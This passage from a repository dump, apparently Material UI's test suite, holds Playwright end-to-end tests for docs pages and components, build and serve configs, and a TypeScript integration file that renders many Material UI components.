page.isVisible('textarea')).toEqual(true);\n      await page.click('button');\n      expect(await page.isVisible('textarea')).toEqual(false);\n      await page.waitForTimeout(200); // Wait for debounce to fire (166)\n\n      expect(pageErrors.length).toEqual(0);\n    });\n\n    it('should not glitch when resizing', async () => {\n      await renderFixture('TextareaAutosize/BasicTextareaAutosize');\n\n      const textarea = await page.getByTestId('textarea')!;\n\n      // Get the element's dimensions\n      const { x, y, width, height } = (await textarea.boundingBox())!;\n\n      // Calculate coordinates of bottom-right corner\n      const bottomRightX = x + width;\n      const bottomRightY = y + height;\n\n      // Get the initial height of textarea as a number\n      const initialHeight = await textarea.evaluate((textareaElement) =>\n        parseFloat(textareaElement.style.height),\n      );\n\n      // Move the mouse to the bottom-right corner, adjusting slightly to grab the resize handle\n      await page.mouse.move(bottomRightX - 5, bottomRightY - 5);\n\n      // Hold the mouse down without releasing the mouse button (mouseup) to grab the resize handle\n      await page.mouse.down();\n\n      // Move the mouse to resize the textarea\n      await page.mouse.move(bottomRightX + 50, bottomRightY + 50);\n\n      // Assert that the textarea height has increased after resizing\n      expect(\n        await textarea.evaluate((textareaElement) => parseFloat(textareaElement.style.height)),\n      ).toBeGreaterThan(initialHeight);\n    });\n  });\n\n  describe('<TextField />', () => {\n    it('should fire `onClick` when clicking on the focused label position', async () => {\n      await renderFixture('TextField/OutlinedTextFieldOnClick');\n\n      // execute the click on the focused label position\n      await page.getByRole('textbox').click({ position: { x: 10, y: 10 } });\n      const errorSelector = page.locator('.MuiInputBase-root.Mui-error');\n      await errorSelector.waitFor();\n    });\n  });\n\n  describe('<Select />', () => {\n    it('should not show focus-visible on menu item when opened by mouse', async () => {\n      await renderFixture('Select/SelectFocusVisible');\n\n      const trigger = page.getByRole('combobox');\n      await trigger.click();\n\n      await page.waitForSelector('[role=\"listbox\"]');\n\n      const selectedItem = page.locator('[role=\"option\"][aria-selected=\"true\"]');\n      await expect(selectedItem).toBeFocused();\n      const hasVisible = await selectedItem.evaluate((el) =>\n        el.classList.contains('Mui-focusVisible'),\n      );\n      expect(hasVisible).toEqual(false);\n    });\n\n    it('should show focus-visible on menu item when opened by keyboard', async () => {\n      await renderFixture('Select/SelectFocusVisible');\n\n      await page.keyboard.press('Tab');\n      const trigger = page.getByRole('combobox');\n      await expect(trigger).toBeFocused();\n\n      await page.keyboard.press('Enter');\n      await page.waitForSelector('[role=\"listbox\"]');\n\n      const selectedItem = page.locator('[role=\"option\"][aria-selected=\"true\"]');\n      await expect(selectedItem).toBeFocused();\n      const hasVisible = await selectedItem.evaluate((el) =>\n        el.classList.contains('Mui-focusVisible'),\n      );\n      expect(hasVisible).toEqual(true);\n    });\n  });\n});\n"
  },
  {
    "path": "test/e2e/serve.json",
    "content": "{\n  \"public\": \"build\",\n  \"rewrites\": [{ \"source\": \"**\", \"destination\": \"index.html\" }]\n}\n"
  },
  {
    "path": "test/e2e/template.html",
    "content": "<!doctype html>\n<html>\n  <head>\n    <title>Playwright end-to-end test</title>\n    <meta charset=\"utf-8\" />\n    <meta name=\"viewport\" content=\"initial-scale=1, width=device-width\" />\n    <style>\n      body {\n        background-color: white;\n      }\n    </style>\n  </head>\n  <body>\n    <div id=\"react-root\"></div>\n  </body>\n</html>\n"
  },
  {
    "path": "test/e2e/vitest.config.ts",
    "content": "import { defineConfig } from 'vitest/config';\n\nexport default defineConfig({\n  test: {\n    globals: true,\n    server: {\n      deps: {\n        inline: ['@mui/internal-test-utils'],\n      },\n    },\n  },\n});\n"
  },
  {
    "path": "test/e2e/webpack.config.js",
    "content": "/* eslint-disable mui/consistent-production-guard */\nconst path = require('path');\nconst HtmlWebpackPlugin = require('html-webpack-plugin');\nconst webpackBaseConfig = require('../../webpackBaseConfig');\n\nmodule.exports = {\n  ...webpackBaseConfig,\n  entry: path.resolve(__dirname, 'index.js'),\n  mode: process.env.NODE_ENV || 'development',\n  optimization: {\n    // Helps debugging and build perf.\n    // Bundle size is irrelevant for local serving\n    minimize: false,\n  },\n  output: {\n    path: path.resolve(__dirname, './build'),\n    publicPath: '/',\n    filename: 'tests.js',\n  },\n  plugins: [\n    new HtmlWebpackPlugin({\n      template: path.resolve(__dirname, './template.html'),\n    }),\n  ],\n  module: {\n    ...webpackBaseConfig.module,\n    rules: [\n      {\n        test: /\\.(js|ts|tsx)$/,\n        exclude: /node_modules/,\n        loader: 'babel-loader',\n        options: {\n          cacheDirectory: true,\n          configFile: path.resolve(__dirname, '../../babel.config.mjs'),\n          envName: 'regressions',\n        },\n      },\n      {\n        test: /\\.(jpg|gif|png)$/,\n        type: 'asset/inline',\n      },\n    ],\n  },\n  // TODO: 'browserslist:modern'\n  target: 'web',\n};\n"
  },
  {
    "path": "test/e2e-website/README.md",
    "content": "# Docs end-to-end testing\n\n## Running locally\n\n1. Run `pnpm docs:dev` to start the development docs server.\n2. Run `pnpm test:e2e-website` in a separate terminal to run the test suites (`*.spec.ts`) inside `test/e2e-website` folder.\n\n> use --headed to run tests in headed browsers, check out [Playwright CLI](https://playwright.dev/docs/intro#command-line) for more options\n\n## CI\n\nAfter Netlify deploys the preview site, the `netlify/functions/deploy-succeeded.js` hook calls CircleCI API to run the `e2e-website` workflow against the deployed URL.\n"
  },
  {
    "path": "test/e2e-website/demo-docs.spec.ts",
    "content": "import { test as base, expect } from '@playwright/test';\nimport { TestFixture } from './playwright.config';\n\nconst test = base.extend<TestFixture>({});\n\ntest.describe('Demo docs', () => {\n  test('mode toggle demos should work', async ({ page }) => {\n    await page.goto('/experiments/docs/demos/');\n\n    await expect(page.locator('div:has(> [data-element=\"demo-mode-toggle-paper\"])')).toHaveClass(\n      /light/,\n    );\n    await expect(page.locator('[data-element=\"demo-mode-toggle-paper\"]')).toHaveCSS(\n      'background-color',\n      'rgb(255, 255, 255)',\n    );\n\n    // Toggle dark mode\n    await page\n      .getByRole('radiogroup', { name: /^demo-mode-toggle$/ })\n      .locator('label:nth-child(3)')\n      .click();\n\n    await expect(page.locator('div:has(> [data-element=\"demo-mode-toggle-paper\"])')).toHaveClass(\n      /dark/,\n    );\n    await expect(page.locator('[data-element=\"demo-mode-toggle-paper\"]')).toHaveCSS(\n      'background-color',\n      'rgb(18, 18, 18)',\n    );\n  });\n\n  test('mode toggle custom theme demos should work', async ({ page }) => {\n    await page.goto('/experiments/docs/demos/');\n\n    await expect(\n      page.locator('div:has(> [data-element=\"demo-mode-toggle-custom-theme-paper\"])'),\n    ).toHaveClass(/light/);\n    await expect(page.locator('[data-element=\"demo-mode-toggle-custom-theme-paper\"]')).toHaveCSS(\n      'background-color',\n      'rgb(239, 154, 154)',\n    );\n\n    // Toggle dark mode\n    await page\n      .getByRole('radiogroup', { name: /^demo-mode-toggle-custom-theme$/ })\n      .locator('label:nth-child(3)')\n      .click();\n\n    await expect(\n      page.locator('div:has(> [data-element=\"demo-mode-toggle-custom-theme-paper\"])'),\n    ).toHaveClass(/dark/);\n    await expect(page.locator('[data-element=\"demo-mode-toggle-custom-theme-paper\"]')).toHaveCSS(\n      'background-color',\n      'rgb(183, 28, 28)',\n    );\n  });\n\n  test('mode toggle iframe demos should work', async ({ page }) => {\n    await page.goto('/experiments/docs/demos/');\n\n    const iframe = page.locator('iframe[title*=\"DemoModeToggleIframe\"]').contentFrame();\n\n    await expect(iframe.locator('html')).toHaveClass(/light/);\n    await expect(iframe.locator('[data-element=\"demo-mode-toggle-iframe-paper\"]')).toHaveCSS(\n      'background-color',\n      'rgb(255, 255, 255)',\n    );\n\n    // Toggle dark mode\n    await iframe\n      .getByRole('radiogroup', { name: /^demo-mode-toggle-iframe$/ })\n      .locator('label:nth-child(3)')\n      .click();\n\n    await expect(iframe.locator('html')).toHaveClass(/dark/);\n    await expect(iframe.locator('[data-element=\"demo-mode-toggle-iframe-paper\"]')).toHaveCSS(\n      'background-color',\n      'rgb(18, 18, 18)',\n    );\n  });\n});\n"
  },
  {
    "path": "test/e2e-website/material-color-playground.spec.ts",
    "content": "import { test as base, expect } from '@playwright/test';\nimport FEATURE_TOGGLE from 'docs/src/featureToggle';\nimport { TestFixture } from './playwright.config';\n\nconst test = base.extend<TestFixture>({});\n\ntest('should be able to change color without crash', async ({ page }) => {\n  await page.goto('/material-ui/customization/color/#playground', { waitUntil: 'networkidle' });\n\n  await page.fill('#primary', ''); // clear the input\n  await page.type('#primary', '#e91e63');\n\n  await page.fill('#secondary', ''); // clear the input\n  await page.type('#secondary', '#ffc400');\n\n  await page.click('button:has-text(\"Set Docs Colors\")');\n\n  await page.click('#mui-version-selector'); // can open any menu, just to make sure that it does not break\n\n  await expect(page.locator('#mui-version-menu')).toBeVisible();\n});\n"
  },
  {
    "path": "test/e2e-website/material-docs.spec.ts",
    "content": "import { test as base, expect, Page } from '@playwright/test';\nimport { kebabCase } from 'es-toolkit/string';\nimport { TestFixture } from './playwright.config';\n\nconst test = base.extend<TestFixture>({});\n\ntest.describe('Material docs', () => {\n  test('should have correct link with hash in the TOC', async ({ page }) => {\n    await page.goto('/material-ui/getting-started/installation/');\n\n    const anchors = page.locator('[aria-label=\"Page table of contents\"] ul a');\n\n    const firstAnchor = anchors.first();\n    const textContent = await firstAnchor.textContent();\n\n    await expect(firstAnchor).toHaveAttribute(\n      'href',\n      `/material-ui/getting-started/installation/#${kebabCase(textContent || '')}`,\n    );\n  });\n\n  test('[zh] should have correct link with hash in the TOC', async ({ page }) => {\n    test.skip(\n      (process.env.CIRCLE_BRANCH || '').startsWith('pull'),\n      'There is no languages on the deploy preview',\n    );\n    await page.goto('/zh/material-ui/getting-started/installation/');\n\n    const anchors = page.locator('main nav ul a');\n\n    const firstAnchor = anchors.first();\n    const textContent = await firstAnchor.textContent();\n\n    await expect(firstAnchor).toHaveAttribute(\n      'href',\n      `/zh/material-ui/getting-started/installation/#${kebabCase(textContent || '')}`,\n    );\n  });\n\n  test.describe('Demo page', () => {\n    test('should have correct link for API section', async ({ page }) => {\n      await page.goto('/material-ui/react-card/');\n\n      const anchors = page.locator('div > h2#api ~ ul a');\n\n      const firstAnchor = anchors.first();\n      const textContent = await firstAnchor.textContent();\n\n      await expect(firstAnchor).toHaveAttribute(\n        'href',\n        `/material-ui/api/${kebabCase(textContent || '')}/`,\n      );\n    });\n\n    test('should have correct link for sidebar anchor', async ({ page }) => {\n      await page.goto('/material-ui/react-card/');\n\n      const anchor = page.locator('nav[aria-label=\"documentation\"] .app-drawer-active');\n\n      await expect(anchor).toHaveAttribute('href', '/material-ui/react-card/');\n      await expect(anchor).toHaveText('Card');\n    });\n\n    test('should have plural url for Tabs', async ({ page }) => {\n      await page.goto('/material-ui/react-tabs/');\n\n      const anchor = page.locator('nav[aria-label=\"documentation\"] .app-drawer-active');\n\n      await expect(anchor).toHaveAttribute('href', '/material-ui/react-tabs/');\n      await expect(anchor).toHaveText('Tabs');\n    });\n\n    test('should have plural url for Breadcrumbs', async ({ page }) => {\n      await page.goto('/material-ui/react-breadcrumbs/');\n\n      const anchor = page.locator('nav[aria-label=\"documentation\"] .app-drawer-active');\n\n      await expect(anchor).toHaveAttribute('href', '/material-ui/react-breadcrumbs/');\n      await expect(anchor).toHaveText('Breadcrumbs');\n    });\n\n    test('should not have react- prefix for icons', async ({ page }) => {\n      await page.goto('/material-ui/icons/');\n\n      const anchor = page.locator('nav[aria-label=\"documentation\"] .app-drawer-active');\n\n      await expect(anchor).toHaveAttribute('href', '/material-ui/icons/');\n      await expect(anchor).toHaveText('Icons');\n    });\n\n    test('should not have react- prefix for material-icons', async ({ page }) => {\n      await page.goto('/material-ui/material-icons/');\n\n      const anchor = page.locator('nav[aria-label=\"documentation\"] .app-drawer-active');\n\n      await expect(anchor).toHaveAttribute('href', '/material-ui/material-icons/');\n      await expect(anchor).toHaveText('Material Icons');\n    });\n\n    test('should have correct API links when name of components conflicts with Base UI', async ({\n      page,\n    }) => {\n      await page.goto('/material-ui/react-button/');\n\n      const anchors = page.locator('div > h2#api ~ ul a');\n\n      const firstAnchor = anchors.first();\n      const textContent = await firstAnchor.textContent();\n\n      await expect(textContent).toEqual('<Button />');\n      await expect(firstAnchor).toHaveAttribute('href', '/material-ui/api/button/');\n    });\n  });\n\n  test.describe('API page', () => {\n    test('should have correct link for sidebar anchor', async ({ page }) => {\n      await page.goto('/material-ui/api/card/');\n\n      const anchor = page.locator('nav[aria-label=\"documentation\"] ul a:text-is(\"Card\")');\n\n      await expect(anchor).toHaveClass(/app-drawer-active/);\n      await expect(anchor).toHaveAttribute('href', '/material-ui/api/card/');\n    });\n\n    test('all the links in the main content should have correct prefix', async ({ page }) => {\n      await page.goto('/material-ui/api/card/');\n\n      const anchors = page.locator('div#main-content a');\n\n      const handles = await anchors.elementHandles();\n\n      const links = await Promise.all(handles.map((elm) => elm.getAttribute('href')));\n\n      links.forEach((link) => {\n        if (\n          link &&\n          ['/getting-started', '/customization', '/guides', '/discover-more'].some((path) =>\n            link.includes(path),\n          )\n        ) {\n          expect(link).toMatch(/^\\/(material-ui|system)/);\n        }\n\n        expect(link).not.toMatch(/\\/components/); // there should be no `/components` in the url anymore\n\n        if (link && link.startsWith('/system')) {\n          expect(link.startsWith('/system')).toBeTruthy();\n          expect(link.match(/\\/system{1}/g)).toHaveLength(1); // should not have repeated `/system/system/*`\n        }\n      });\n    });\n  });\n\n  test.describe('Search', () => {\n    const retryToggleSearch = async (page: Page, count = 3) => {\n      try {\n        await page.keyboard.press('Meta+k');\n        await page.waitForSelector('input#docsearch-input', { timeout: 2000 });\n      } catch (error) {\n        if (count === 0) {\n          throw error;\n        }\n        await retryToggleSearch(page, count - 1);\n      }\n    };\n    test('should have correct link when searching component', async ({ page }) => {\n      await page.goto('/material-ui/getting-started/installation/');\n\n      await page.waitForLoadState('networkidle'); // wait for docsearch\n\n      await retryToggleSearch(page);\n\n      await page.type('input#docsearch-input', 'card', { delay: 50 });\n\n      const anchor = page.locator('.DocSearch-Hits a:has-text(\"Card\")');\n\n      await expect(anchor.first()).toHaveAttribute('href', '/material-ui/react-card/');\n    });\n\n    test('should have correct link when searching API', async ({ page }) => {\n      await page.goto('/material-ui/getting-started/installation/');\n\n      await page.waitForLoadState('networkidle'); // wait for docsearch\n\n      await retryToggleSearch(page);\n\n      await page.type('input#docsearch-input', 'card api', { delay: 50 });\n\n      const anchor = page.locator('.DocSearch-Hits a:has-text(\"Card API\")');\n\n      await expect(anchor.first()).toHaveAttribute('href', '/material-ui/api/card/');\n    });\n  });\n});\n"
  },
  {
    "path": "test/e2e-website/material-icons.spec.ts",
    "content": "import { test as base, expect } from '@playwright/test';\nimport { TestFixture } from './playwright.config';\n\nconst test = base.extend<TestFixture>({});\n\ntest('should see the selected icon popup that match the query', async ({ page }) => {\n  await page.goto('/material-ui/material-icons/?selected=AcUnit');\n\n  await expect(page.locator('.MuiDialog-container h2:has-text(\"AcUnit\")')).toBeVisible();\n});\n"
  },
  {
    "path": "test/e2e-website/playwright.config.ts",
    "content": "import { PlaywrightTestConfig } from '@playwright/test';\n\nexport type TestFixture = {};\n\nconst config: PlaywrightTestConfig<TestFixture> = {\n  reportSlowTests: {\n    max: 1,\n    threshold: 60 * 1000, // 1min\n  },\n  use: {\n    baseURL: process.env.PLAYWRIGHT_TEST_BASE_URL || 'https://mui.com',\n  },\n};\n\nexport default config;\n"
  },
  {
    "path": "test/e2e-website/products-drawer.spec.ts",
    "content": "import { test as base, expect } from '@playwright/test';\nimport FEATURE_TOGGLE from 'docs/src/featureToggle';\nimport { TestFixture } from './playwright.config';\n\nconst test = base.extend<TestFixture>({});\n\ntest('able to navigate between products', async ({ page }) => {\n  await page.goto('/material-ui/getting-started/installation/');\n\n  await page.click('#mui-product-selector');\n\n  await expect(page.locator('#mui-product-menu')).toBeVisible();\n\n  await expect(\n    page.locator('#mui-product-menu a[href^=\"/material-ui/getting-started/\"]'),\n  ).toBeVisible();\n\n  await expect(page.locator('#mui-product-menu a[href^=\"/system/\"]')).toHaveAttribute(\n    'href',\n    '/system/getting-started/',\n  );\n\n  await expect(page.locator('#mui-product-menu a[href^=\"/x/react-data-grid/\"]')).toBeVisible();\n  await expect(page.locator('#mui-product-menu a[href^=\"/x/react-date-pickers/\"]')).toBeVisible();\n\n  await expect(page.locator('#mui-product-menu a[href^=\"https://base-ui.com/\"]')).toBeVisible();\n});\n"
  },
  {
    "path": "test/integration/material-ui/components.spec.tsx",
    "content": "import * as React from 'react';\nimport { Link as ReactRouterLink, LinkProps as ReactRouterLinkProps } from 'react-router';\nimport { expectType } from '@mui/types';\nimport {\n  AppBar,\n  Avatar,\n  Backdrop,\n  Badge,\n  BottomNavigation,\n  BottomNavigationAction,\n  Button,\n  Card,\n  CardActions,\n  CardContent,\n  CardHeader,\n  CardMedia,\n  Checkbox,\n  Chip,\n  CircularProgress,\n  ClickAwayListener,\n  Collapse,\n  CssBaseline,\n  Dialog,\n  DialogTitle,\n  DialogContent,\n  DialogContentText,\n  Divider,\n  Drawer,\n  Accordion,\n  AccordionActions,\n  AccordionDetails,\n  AccordionSummary,\n  Fade,\n  FormControlLabel,\n  FormGroup,\n  Grid,\n  ImageList,\n  ImageListItem,\n  Grow,\n  IconButton,\n  Input,\n  InputAdornment,\n  InputLabel,\n  Link,\n  LinearProgress,\n  List,\n  ListItem,\n  ListItemAvatar,\n  ListItemIcon,\n  ListItemText,\n  Menu,\n  MenuItem,\n  MobileStepper,\n  Paper,\n  Popover,\n  Select,\n  Snackbar,\n  SnackbarContent,\n  SwipeableDrawer,\n  Switch,\n  Tab,\n  Table,\n  TableBody,\n  TableCell,\n  TableFooter,\n  TableHead,\n  TablePagination,\n  TableRow,\n  Tabs,\n  TextField,\n  Toolbar,\n  Tooltip,\n  Typography,\n  ListItemButton,\n} from '@mui/material';\nimport { Theme } from '@mui/material/styles';\nimport { ButtonBaseActions } from '@mui/material/ButtonBase';\nimport { IconButtonProps } from '@mui/material/IconButton';\nimport ScopedCssBaseline from '@mui/material/ScopedCssBaseline';\n\nconst log = console.log;\nfunction FakeIcon() {\n  return <div>ICON</div>;\n}\n\nconst TestOverride = React.forwardRef<HTMLDivElement, { x?: number }>((props, ref) => (\n  <div ref={ref} />\n));\n\nfunction AppBarTest() {\n  return (\n    <AppBar position=\"static\">\n      <Toolbar>\n        <IconButton color=\"inherit\" aria-label=\"menu\">\n          <FakeIcon />\n        </IconButton>\n        <Typography variant=\"h6\" sx={{ color: 'inherit' }}>\n          Title\n        </Typography>\n        <Button color=\"inherit\">Login</Button>\n      </Toolbar>\n    </AppBar>\n  );\n}\n\nfunction AvatarTest() {\n  return (\n    <div>\n      <Avatar\n        ref={(elem) => {\n          expectType<HTMLDivElement | null, typeof elem>(elem);\n        }}\n        onClick={(event) => {\n          expectType<React.MouseEvent<HTMLDivElement, MouseEvent>, typeof event>(event);\n          log(event);\n        }}\n        alt=\"Image Alt\"\n        src=\"example.jpg\"\n      />\n      <Avatar<'button'>\n        component=\"button\"\n        ref={(elem) => {\n          expectType<HTMLButtonElement | null, typeof elem>(elem);\n        }}\n        onClick={(event) => {\n          expectType<React.MouseEvent<HTMLButtonElement, MouseEvent>, typeof event>(event);\n          log(event);\n        }}\n        alt=\"Image Alt\"\n        src=\"example.jpg\"\n      />\n      <Avatar\n        component=\"button\"\n        ref={(elem: HTMLButtonElement) => {}}\n        onClick={(event: React.MouseEvent<HTMLButtonElement>) => log(event)}\n        alt=\"Image Alt\"\n        src=\"example.jpg\"\n      />\n      <Avatar component={TestOverride} x={3} alt=\"Image Alt\" src=\"example.jpg\" />\n      <Avatar<typeof TestOverride>\n        component={TestOverride}\n        ref={(elem) => {\n          expectType<HTMLDivElement | null, typeof elem>(elem);\n        }}\n        x={3}\n        alt=\"Image Alt\"\n        src=\"example.jpg\"\n      />\n      {/* @ts-expect-error onClick isn't allowed since we're overriding with a component that doesn't have that prop: */}\n      <Avatar component={TestOverride} onClick={log} />\n    </div>\n  );\n}\n\nfunction AvatarClassName() {\n  return <Avatar className=\"foo\" />;\n}\n\nfunction BadgeTest() {\n  return (\n    <Badge badgeContent={4} color=\"primary\">\n      <FakeIcon />\n    </Badge>\n  );\n}\n\nfunction BottomNavigationTest() {\n  const value = 123;\n\n  return (\n    <BottomNavigation value={value} onChange={(event) => log(event)} showLabels>\n      <BottomNavigationAction label=\"Recents\" icon={<FakeIcon />} />\n      <BottomNavigationAction label=\"Favorites\" />\n      <BottomNavigationAction label={<span>Nearby</span>} icon={<FakeIcon />} />\n    </BottomNavigation>\n  );\n}\n\nconst iconButtonTest = () => (\n  <div>\n    <IconButton aria-label=\"delete\">\n      <FakeIcon />\n    </IconButton>\n    <IconButton aria-label=\"delete\" disabled>\n      <FakeIcon />\n    </IconButton>\n    <IconButton color=\"secondary\" aria-label=\"add an alarm\">\n      <FakeIcon />\n    </IconButton>\n    <IconButton color=\"inherit\" aria-label=\"add to shopping cart\">\n      <FakeIcon />\n    </IconButton>\n    <IconButton color=\"primary\" aria-label=\"add to shopping cart\">\n      <FakeIcon />\n    </IconButton>\n  </div>\n);\n\nconst iconButtonAsLinkTest = () => {\n  const ForwardedLink = React.forwardRef<HTMLAnchorElement, ReactRouterLinkProps>((props, ref) => (\n    <ReactRouterLink {...props} ref={ref} />\n  ));\n  const ExtendedIconButton: React.FC<IconButtonProps<typeof ForwardedLink>> =\n    function ExtendedIconButton(props) {\n      return <IconButton component={ForwardedLink} {...props} />;\n    };\n  return (\n    <ExtendedIconButton color=\"secondary\" aria-label=\"Go to top page.\" to=\"/\" target=\"_self\">\n      <FakeIcon />\n    </ExtendedIconButton>\n  );\n};\n\nfunction CardTest() {\n  return (\n    <Card>\n      <CardContent>\n        <Typography variant=\"body1\">Word of the Day</Typography>\n        <Typography variant=\"h5\" component=\"h2\">\n          be-nev-o-lent\n        </Typography>\n        <Typography variant=\"body1\">adjective</Typography>\n        <Typography>\n          well meaning and kindly.\n          <br />a benevolent smile\n        </Typography>\n      </CardContent>\n      <CardActions>\n        <Button size=\"small\">Learn More</Button>\n      </CardActions>\n    </Card>\n  );\n}\n\nfunction CardMediaTest() {\n  return (\n    <Card>\n      <CardHeader\n        avatar={<Avatar aria-label=\"recipe\">R</Avatar>}\n        title=\"Shrimp and Chorizo Paella\"\n        subheader=\"September 14, 2016\"\n      />\n      <CardMedia image=\"src.png\" component=\"div\">\n        <img src=\"image/src.png\" alt=\"Contemplative Reptile\" />\n      </CardMedia>\n      <CardContent>\n        <Typography>\n          This impressive paella is a perfect party dish and a fun meal to cook together with your\n          guests. Add 1 cup of frozen peas along with the mussels, if you like.\n        </Typography>\n      </CardContent>\n      <CardActions disableSpacing>\n        <IconButton aria-label=\"add to favorites\">\n          <FakeIcon />\n        </IconButton>\n        <IconButton aria-label=\"share\">\n          <FakeIcon />\n        </IconButton>\n        <IconButton aria-label=\"show more\">\n          <FakeIcon />\n        </IconButton>\n      </CardActions>\n      <Collapse in timeout=\"auto\" unmountOnExit>\n        <CardContent>\n          <Typography variant=\"body2\">Method:</Typography>\n          <Typography>\n            Heat 1/2 cup of the broth in a pot until simmering, add saffron and set aside for 10\n            minutes.\n          </Typography>\n          <Typography>\n            Heat oil in a (14- to 16-inch) paella pan or a large, deep skillet over medium-high\n            heat. Add chicken, shrimp and chorizo, and cook, stirring occasionally until lightly\n            browned, 6 to 8 minutes. Transfer shrimp to a large plate and set aside, leaving chicken\n            and chorizo in the pan. Add pimentón, bay leaves, garlic, tomatoes, onion, salt and\n            pepper, and cook, stirring often until thickened and fragrant, about 10 minutes. Add\n            saffron broth and remaining 4 1/2 cups chicken broth; bring to a boil.\n          </Typography>\n          <Typography>\n            Add rice and stir very gently to distribute. Top with artichokes and peppers, and cook\n            without stirring, until most of the liquid is absorbed, 15 to 18 minutes. Reduce heat to\n            medium-low, add reserved shrimp and mussels, tucking them down into the rice, and cook\n            again without stirring, until mussels have opened and rice is just tender, 5 to 7\n            minutes more. (Discard any mussels that don&apos;t open.)\n          </Typography>\n          <Typography>\n            Set aside off of the heat to let rest for 10 minutes, and then serve.\n          </Typography>\n        </CardContent>\n      </Collapse>\n    </Card>\n  );\n}\n\nfunction ChipsTest() {\n  return (\n    <div>\n      <Chip label=\"Basic Chip\" />\n      <Chip avatar={<Avatar>M</Avatar>} label=\"Clickable Chip\" onClick={(event) => log(event)} />\n      <Chip\n        avatar={<Avatar src=\"image.bmp\" />}\n        label=\"Deletable Chip\"\n        onDelete={(event) => log(event)}\n      />\n      <Chip\n        avatar={\n          <Avatar>\n            <FakeIcon />\n          </Avatar>\n        }\n        label=\"Clickable Deletable Chip\"\n        onClick={(event) => log(event)}\n        onDelete={(event) => log(event)}\n      />\n    </div>\n  );\n}\n\nfunction DialogTest() {\n  const emails = ['username@gmail.com', 'user02@gmail.com'];\n  return (\n    <Dialog onClose={(event) => log(event)} open>\n      <DialogTitle>Set backup account</DialogTitle>\n      <div>\n        <List>\n          {emails.map((email) => (\n            <ListItemButton onClick={(event) => log(event)} key={email}>\n              <ListItemAvatar>\n                <Avatar>\n                  <FakeIcon />\n                </Avatar>\n              </ListItemAvatar>\n              <ListItemText primary={email} />\n            </ListItemButton>\n          ))}\n          <ListItem\n            ref={(elem) => {\n              expectType<HTMLLIElement | null, typeof elem>(elem);\n            }}\n            onClick={(event) => {\n              expectType<React.MouseEvent<HTMLLIElement, MouseEvent>, typeof event>(event);\n              log(event);\n            }}\n          >\n            <ListItemIcon>\n              <FakeIcon />\n            </ListItemIcon>\n            <ListItemText primary=\"Inbox\" />\n          </ListItem>\n          <ListItemButton\n            ref={(elem) => {\n              expectType<HTMLDivElement | null, typeof elem>(elem);\n            }}\n            onClick={(event) => {\n              expectType<React.MouseEvent<HTMLDivElement, MouseEvent>, typeof event>(event);\n              log(event);\n            }}\n          >\n            <ListItemAvatar>\n              <Avatar>\n                <FakeIcon />\n              </Avatar>\n            </ListItemAvatar>\n            <ListItemText primary=\"add account\" />\n          </ListItemButton>\n          <ListItemButton<'a'>\n            component=\"a\"\n            ref={(elem) => {\n              expectType<HTMLAnchorElement | null, typeof elem>(elem);\n            }}\n            onClick={(event) => {\n              expectType<React.MouseEvent<HTMLAnchorElement, MouseEvent>, typeof event>(event);\n              log(event);\n            }}\n          >\n            <ListItemIcon>\n              <FakeIcon />\n            </ListItemIcon>\n            <ListItemText primary=\"Inbox\" />\n          </ListItemButton>\n          <ListItemButton>\n            <ListItemIcon>\n              <FakeIcon />\n            </ListItemIcon>\n            <ListItemText primary=\"Inbox\" />\n          </ListItemButton>\n        </List>\n      </div>\n      <DialogContent>\n        <DialogContentText variant=\"body2\" color=\"primary\">\n          Some text\n        </DialogContentText>\n      </DialogContent>\n    </Dialog>\n  );\n}\n\nfunction DividerTest() {\n  return (\n    <div>\n      <Divider />\n    </div>\n  );\n}\n\nfunction DrawerTest() {\n  const open = {\n    top: false,\n    left: false,\n    bottom: false,\n    right: false,\n  };\n  return (\n    <div>\n      <Drawer\n        variant=\"persistent\"\n        open={open.left}\n        onClose={(event) => log(event)}\n        onClick={(event) => log(event)}\n      >\n        List\n      </Drawer>\n      <Drawer\n        variant=\"temporary\"\n        anchor=\"top\"\n        open={open.top}\n        onClose={(event) => log(event)}\n        onClick={(event) => log(event)}\n        ModalProps={{\n          hideBackdrop: true,\n        }}\n      >\n        List\n      </Drawer>\n      <Drawer\n        anchor=\"bottom\"\n        variant=\"temporary\"\n        open={open.bottom}\n        onClose={(event) => log(event)}\n        onClick={(event) => log(event)}\n      >\n        List\n      </Drawer>\n      <Drawer\n        variant=\"persistent\"\n        anchor=\"right\"\n        open={open.right}\n        onClose={(event) => log(event)}\n        onClick={(event) => log(event)}\n      >\n        List\n      </Drawer>\n    </div>\n  );\n}\n\nfunction SwipeableDrawerTest() {\n  const open = {\n    top: false,\n    left: false,\n    bottom: false,\n    right: false,\n  };\n  return (\n    <div>\n      <SwipeableDrawer\n        open={open.left}\n        onClose={(event) => log(event)}\n        onClick={(event) => log(event)}\n        onOpen={(event) => log(event)}\n      >\n        List\n      </SwipeableDrawer>\n      <SwipeableDrawer\n        anchor=\"top\"\n        open={open.top}\n        onClose={(event) => log(event)}\n        onClick={(event) => log(event)}\n        onOpen={(event) => log(event)}\n        ModalProps={{\n          hideBackdrop: true,\n        }}\n      >\n        List\n      </SwipeableDrawer>\n      <SwipeableDrawer\n        anchor=\"bottom\"\n        open={open.bottom}\n        onClose={(event) => log(event)}\n        onClick={(event) => log(event)}\n        onOpen={(event) => log(event)}\n      >\n        List\n      </SwipeableDrawer>\n      <SwipeableDrawer\n        variant=\"temporary\"\n        anchor=\"right\"\n        open={open.right}\n        onClose={(event) => log(event)}\n        onClick={(event) => log(event)}\n        onOpen={(event) => log(event)}\n      >\n        List\n      </SwipeableDrawer>\n    </div>\n  );\n}\n\nfunction AccordionTest() {\n  return (\n    <div>\n      <Accordion onChange={(event) => log(event)} expanded disabled>\n        <AccordionSummary />\n        <AccordionDetails />\n      </Accordion>\n      <Accordion defaultExpanded>\n        <AccordionSummary expandIcon={<FakeIcon />}>\n          <Typography>...</Typography>\n        </AccordionSummary>\n        <AccordionDetails>\n          <Typography>...</Typography>\n        </AccordionDetails>\n        <AccordionActions>\n          <Button size=\"small\">Save</Button>\n        </AccordionActions>\n      </Accordion>\n    </div>\n  );\n}\n\nfunction GridTest() {\n  return (\n    <Grid component={Paper} container>\n      <Grid size={12}>...</Grid>\n      <Grid\n        size={{\n          sm: 12,\n        }}\n      >\n        ...\n      </Grid>\n      <Grid\n        size={{\n          xl: 'grow',\n        }}\n      >\n        ...\n      </Grid>\n      <Grid style={{ color: 'red' }}>...</Grid>\n    </Grid>\n  );\n}\n\nfunction ImageListTest() {\n  return (\n    <ImageList rowHeight={160} cols={3} onClick={(event) => log(event)}>\n      <ImageListItem cols={1} rows={4} onClick={(event) => log(event)}>\n        <img 